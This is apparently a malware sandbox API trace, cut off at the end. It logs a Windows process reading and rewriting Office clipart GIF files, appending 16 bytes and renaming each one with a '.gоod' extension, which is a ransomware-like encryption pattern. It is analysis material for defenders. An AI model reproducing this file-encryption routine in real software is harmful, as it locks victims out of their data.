[0128.974] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0128.975] CloseHandle (hObject=0x61c) returned 1 [0128.975] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0128.975] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0128.976] CloseHandle (hObject=0x61c) returned 1 [0128.976] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0128.976] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0128.988] CloseHandle (hObject=0x61c) returned 1 [0128.988] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0128.988] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0128.988] CloseHandle (hObject=0x61c) returned 1 [0128.988] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0128.988] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0128.988] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif.gоod")) returned 1 [0128.989] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF", lpFilePart=0x0) returned 0x44 [0128.989] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0128.990] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0128.990] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0128.990] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0128.991] CloseHandle (hObject=0x61c) returned 1 [0128.991] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0128.991] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0128.992] CloseHandle (hObject=0x61c) returned 1 [0128.992] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0128.992] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0129.932] CloseHandle (hObject=0x61c) returned 1 [0129.932] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF", lpFilePart=0x0) returned 0x44 [0129.932] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0129.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0129.932] GetFileType (hFile=0x61c) returned 0x1 [0129.932] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0129.932] GetFileType (hFile=0x61c) returned 0x1 [0129.932] WriteFile (in: hFile=0x61c, lpBuffer=0x347e670*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x347e670*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0129.933] CloseHandle (hObject=0x61c) returned 1 [0129.933] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF", lpFilePart=0x0) returned 0x44 [0129.933] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF.gоod", lpFilePart=0x0) returned 0x49 [0129.933] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0129.933] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x49a97ae5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1c40)) returned 1 [0129.933] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0129.933] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif.gоod")) returned 1 [0129.934] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF", lpFilePart=0x0) returned 0x44 [0129.934] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0129.934] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif"), fInfoLevelId=0x0, lpFileInformation=0x3624940 | out: lpFileInformation=0x3624940*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3a19)) returned 1 [0129.934] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0129.934] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF", lpFilePart=0x0) returned 0x44 [0129.934] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0129.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0129.934] GetFileType (hFile=0x61c) returned 0x1 [0129.934] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0129.934] GetFileType (hFile=0x61c) returned 0x1 [0129.935] SetFilePointer (in: hFile=0x61c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0129.935] ReadFile (in: hFile=0x61c, lpBuffer=0x3624d58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x3624d58*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0129.936] CloseHandle (hObject=0x61c) returned 1 [0129.936] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF", lpFilePart=0x0) returned 0x44 [0129.936] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0129.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0129.936] GetFileType (hFile=0x61c) returned 0x1 [0129.936] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0129.936] GetFileType (hFile=0x61c) returned 0x1 [0129.936] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x3a19 [0129.936] WriteFile (in: hFile=0x61c, lpBuffer=0x3626df0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x3626df0*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0129.937] CloseHandle (hObject=0x61c) returned 1 [0129.937] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF", lpFilePart=0x0) returned 0x44 [0129.937] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0129.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0129.937] GetFileType (hFile=0x61c) returned 0x1 [0129.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0129.937] GetFileType (hFile=0x61c) returned 0x1 [0129.938] ReadFile (in: hFile=0x61c, lpBuffer=0x36290b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x36290b0*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0130.979] CloseHandle (hObject=0x61c) returned 1 [0130.979] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF", lpFilePart=0x0) returned 0x44 [0130.979] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0130.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0130.979] GetFileType (hFile=0x61c) returned 0x1 [0130.979] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0130.979] GetFileType (hFile=0x61c) returned 0x1 [0130.979] WriteFile (in: hFile=0x61c, lpBuffer=0x34fbc00*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x34fbc00*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0131.041] CloseHandle (hObject=0x61c) returned 1 [0131.041] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF", lpFilePart=0x0) returned 0x44 [0131.041] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF.gоod", lpFilePart=0x0) returned 0x49 [0131.041] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0131.041] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4a52c167, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3a29)) returned 1 [0131.042] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0131.042] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif.gоod")) returned 1 [0131.042] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF", lpFilePart=0x0) returned 0x44 [0131.043] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0131.043] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif"), fInfoLevelId=0x0, lpFileInformation=0x3647608 | out: lpFileInformation=0x3647608*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1a1c)) returned 1 [0131.043] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0131.043] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF", lpFilePart=0x0) returned 0x44 [0131.043] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0131.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0131.044] GetFileType (hFile=0x61c) returned 0x1 [0131.044] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0131.044] GetFileType (hFile=0x61c) returned 0x1 [0131.044] SetFilePointer (in: hFile=0x61c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0131.044] ReadFile (in: hFile=0x61c, lpBuffer=0x3647a20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x3647a20*, lpNumberOfBytesRead=0x1faedd28*=0xa1c, lpOverlapped=0x0) returned 1 [0131.045] CloseHandle (hObject=0x61c) returned 1 [0131.045] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF", lpFilePart=0x0) returned 0x44 [0131.045] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0131.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0131.045] GetFileType (hFile=0x61c) returned 0x1 [0131.046] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0131.046] GetFileType (hFile=0x61c) returned 0x1 [0131.046] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1a1c [0131.046] WriteFile (in: hFile=0x61c, lpBuffer=0x3648f88*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x3648f88*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0131.046] CloseHandle (hObject=0x61c) returned 1 [0131.046] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF", lpFilePart=0x0) returned 0x44 [0131.046] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0131.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0131.046] GetFileType (hFile=0x61c) returned 0x1 [0131.046] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0131.046] GetFileType (hFile=0x61c) returned 0x1 [0131.046] ReadFile (in: hFile=0x61c, lpBuffer=0x364b248, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x364b248*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0131.074] CloseHandle (hObject=0x61c) returned 1 [0131.074] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF", lpFilePart=0x0) returned 0x44 [0131.074] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0131.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0131.074] GetFileType (hFile=0x61c) returned 0x1 [0131.074] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0131.074] GetFileType (hFile=0x61c) returned 0x1 [0131.074] WriteFile (in: hFile=0x61c, lpBuffer=0x3649fa0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x3649fa0*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0131.074] CloseHandle (hObject=0x61c) returned 1 [0131.075] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF", lpFilePart=0x0) returned 0x44 [0131.075] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.gоod", lpFilePart=0x0) returned 0x49 [0131.075] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0131.075] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4a5785b6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1a2c)) returned 1 [0131.075] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0131.075] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif.gоod")) returned 1 [0131.075] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF", lpFilePart=0x0) returned 0x44 [0131.076] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0131.076] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif"), fInfoLevelId=0x0, lpFileInformation=0x36c7748 | out: lpFileInformation=0x36c7748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb58a9e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb58a9e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcb3)) returned 1 [0131.076] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0131.076] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF", lpFilePart=0x0) returned 0x44 [0131.076] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0131.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0131.076] GetFileType (hFile=0x61c) returned 0x1 [0131.076] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0131.076] GetFileType (hFile=0x61c) returned 0x1 [0131.076] GetFileSize (in: hFile=0x61c, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0xcb3 [0131.076] ReadFile (in: hFile=0x61c, lpBuffer=0x36c86a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x36c86a8*, lpNumberOfBytesRead=0x1faedc88*=0xcb3, lpOverlapped=0x0) returned 1 [0131.493] CloseHandle (hObject=0x61c) returned 1 [0131.542] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0131.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0131.543] GetFileType (hFile=0x61c) returned 0x1 [0131.543] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0131.543] GetFileType (hFile=0x61c) returned 0x1 [0131.543] WriteFile (in: hFile=0x61c, lpBuffer=0x366e920*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x366e920*, lpNumberOfBytesWritten=0x1faedb98*=0xcc0, lpOverlapped=0x0) returned 1 [0131.544] CloseHandle (hObject=0x61c) returned 1 [0131.544] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft 